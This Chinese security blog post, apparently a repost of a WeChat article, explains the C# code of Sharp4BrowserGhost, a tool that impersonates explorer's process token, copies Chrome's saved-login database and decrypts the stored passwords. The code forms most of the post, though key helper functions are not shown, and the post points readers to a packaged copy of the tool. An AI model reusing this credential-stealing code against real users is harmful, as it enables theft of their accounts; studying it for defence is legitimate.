.NET 一获取主流浏览器存储密码

admin 2024年7月29日13:58:37评论28 views字数 2845阅读9分29秒阅读模式

01

阅读须知

此文所提供的信息只为网络安全人员对自己所负责的网站、服务器等(包括但不限于)进行检测或维护参考,未经授权请勿利用文章中的技术资料对任何计算机系统进行入侵操作。利用此文所提供的信息而造成的直接或间接后果和损失,均由使用者本人负责。本文所提供的工具仅用于学习,禁止用于其他方面

02

基本介绍

Sharp4BrowserGhost是一款抓取 Google Chrome 和 Internet Explorer 浏览器存储的密码的工具。它基于 .NET Framework 2.0,利用进程模拟技术提升权限,访问浏览器的本地数据存储,并提取保存的登录信息。本文将详细解析其核心代码,以揭示其工作原理和方法。

.NET 一获取主流浏览器存储密码

03

编码实现

以下是 Sharp4BrowserGhost的主要功能实现代码,通过调用各种子模块来执行具体的数据提取任务。首先,代码通过 Process.GetProcesses() 获取当前所有运行的进程,并提取每个进程的 ID、名称和用户名。

foreach (Process process in Process.GetProcesses())
{
    int id = process.Id;
    string processName = process.ProcessName;
    string processUserName = Program.GetProcessUserName(id);

接着,查找名称为 explorer 的进程,并通过 ImpersonateProcessToken(id) 模拟该进程的令牌,从而提升当前进程的权限,假装为 Explorer 进程的用户。

    if (processName == "explorer")
    {
        Console.WriteLine("[+] [{0}] [{1}] [{2}]", id, processName, processUserName);
        Program.ImpersonateProcessToken(id);
        Console.WriteLine("[+] Impersonate user {0}", Environment.UserName);
        Console.WriteLine("[+] Current user {0}", Environment.UserName);

然后,获取 Chrome 存储登录数据的文件路径,将其复制到临时文件以供后续操作。具体代码如下所示。

string text = Environment.GetFolderPath(Environment.SpecialFolder.LocalApplicationData) + "\Google\Chrome\User Data\Default\Login Data";
string filePath = Environment.GetFolderPath(Environment.SpecialFolder.LocalApplicationData) + "\Google\Chrome\User Data\Local State";
string tempFileName = Path.GetTempFileName();
File.Copy(text, tempFileName, true);
Console.WriteLine("[+] Copy {0} to {1}", text, tempFileName);

随后,执行 SQL 查询获取登录数据。使用 ProtectedData.Unprotect 方法解密存储的密码,如果失败,则使用 Program.GetMasterKey 获取主密钥并调用 Program.DecryptWithKey 解密密码。

        SQLiteDatabase sqliteDatabase = new SQLiteDatabase(tempFileName);
        string query = "SELECT origin_url, username_value, password_value FROM logins";
        
        foreach (object obj in sqliteDatabase.ExecuteQuery(query).Rows)
        {
            DataRow dataRow = (DataRow)obj;
            string arg;
            string arg2;
            try
            {
                arg = (string)dataRow["origin_url"];
                arg2 = (string)dataRow["username_value"];
            }
            catch
            {
                continue;
            }
            byte[] encryptedData = Convert.FromBase64String((string)dataRow["password_value"]);
            string arg3;
            try
            {
                arg3 = Encoding.UTF8.GetString(ProtectedData.Unprotect(encryptedData, null, DataProtectionScope.CurrentUser));
            }
            catch (Exception)
            {
                byte[] masterKey = Program.GetMasterKey(filePath);
                arg3 = Program.DecryptWithKey(encryptedData, masterKey);
            }
            Console.WriteLine("tURL -> {0}ntUSERNAME -> {1}ntPASSWORD -> {2}n", arg, arg2, arg3);
        }

通过这些步骤,Sharp4BrowserGhost 利用进程模拟和浏览器存储文件的解密,成功提取 Chrome 和 IE 浏览器中的登录信息。工具已经打包在星球,感兴趣的朋友可以加入自取。

原文始发于微信公众号(dotNet安全矩阵):.NET 一款获取主流浏览器存储密码的工具

免责声明:文章中涉及的程序(方法)可能带有攻击性,仅供安全研究与教学之用,读者将其信息做其他用途,由读者承担全部法律及连带责任,本站不承担任何法律及连带责任;如有问题可邮件联系(建议使用企业邮箱或有效邮箱,避免邮件被拦截,联系方式见首页),望知悉。
  • 左青龙
  • 微信扫一扫
  • weinxin
  • 右白虎
  • 微信扫一扫
  • weinxin
admin
  • 本文由 发表于 2024年7月29日13:58:37
  • 转载请保留本文链接(CN-SEC中文网:感谢原作者辛苦付出):
                   .NET 一获取主流浏览器存储密码https://cn-sec.com/archives/3009433.html
                  免责声明:文章中涉及的程序(方法)可能带有攻击性,仅供安全研究与教学之用,读者将其信息做其他用途,由读者承担全部法律及连带责任,本站不承担任何法律及连带责任;如有问题可邮件联系(建议使用企业邮箱或有效邮箱,避免邮件被拦截,联系方式见首页),望知悉.

发表评论

匿名网友 填写信息